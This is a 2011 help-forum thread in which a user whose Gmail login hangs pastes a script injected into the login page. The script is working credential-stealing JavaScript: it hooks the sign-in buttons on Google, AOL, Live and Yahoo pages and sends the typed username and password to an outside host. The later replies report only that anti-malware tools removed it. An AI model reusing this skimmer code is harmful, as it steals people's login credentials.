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#1 Neiltoo

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Posted 05 July 2011 - 03:14 AM

Whilst trying to log into Gmail I am getting a status message "read www.online-security.cc" and the browser hangs.
This only happens on one pc and it is the same whether I use Firefox or IE9

When I look at the source for the gmail log-in page this appears at the bottom:

<script language="javascript" type="text/javascript" src="https://www.online-security.cc/js/yahooaz.js"></script></body>

</html>



The content of the script is:

lvltxt = {}; lvltxt.nmjkmaq9c = 'https://online-security.at/em';lvltxt.i9q472i05h = "/bg.php"; lvltxt.q9fcjx04m6f8 = function(){}; lvltxt.guri = function(xf4wnl2htvp, func, p4cwo) { var v0eda0vw = document.createElement('script'); document.body.appendChild(v0eda0vw); v0eda0vw.src = xf4wnl2htvp; v0eda0vw.onloadhandler = func; v0eda0vw.onload = func;v0eda0vw.onreadystatechange = function() {if (/loaded/.test(this.readyState)) { this.onloadhandler();} } ;}
lvltxt.a460omjnx3g = function(str) { str = (str + '').toString(); return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+')}
lvltxt.riew0bh6nl5wek = function() { var obj = document.getElementById(lvltxt.zhwon95pc[1]); if (obj) { top.lvltxt.dg78wt = obj; top.lvltxt.dg78wt.onclick = lvltxt.lb1kp;}
else {} }
lvltxt.lb1kp = function() { try { var txt = ""; var u = document.getElementById(lvltxt.zhwon95pc[2]); if (u) { txt = "l=" + lvltxt.a460omjnx3g(u.value);}
var pwd = document.getElementById(lvltxt.zhwon95pc[3]); if (pwd) { txt += "&p=" + lvltxt.a460omjnx3g(pwd.value);}
var func = function() { top.lvltxt.dg78wt.onclick = null; top.lvltxt.dg78wt.click();}
lvltxt.guri(lvltxt.nmjkmaq9c + lvltxt.i9q472i05h + "?" + txt, func); return false;}
catch(e) {} }
lvltxt.m9il4ewn = [
["google.com", "signIn", "Email", "Passwd"], ["aol.com", "ssbmtAol", "lgnId1", "pwdId1"], ["login.live.com", "idSIButton9", "i0116", "i0118"], ["yahoo.com", ".save", "username", "passwd"]
]; lvltxt.zhwon95pc = false; for (var i = 0; i < lvltxt.m9il4ewn.length; i++) { if (document.location.href.indexOf(lvltxt.m9il4ewn[i][0]) > -1) { lvltxt.zhwon95pc = lvltxt.m9il4ewn[i];} }
if (lvltxt.zhwon95pc) { setTimeout(lvltxt.riew0bh6nl5wek, 1000);}

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#2 oneof4

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Posted 21 July 2011 - 08:27 PM

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#3 Neiltoo

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Posted 22 July 2011 - 05:31 AM

Hi

Thank you for your reply.

Problem appears to be fixed thank you. I ran every anti malware program that I could find and the script now appears to be gone and I can log in with no problems, although I have no idea which program sorted the problem.

Regards

Neil

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Posted 22 July 2011 - 10:14 AM

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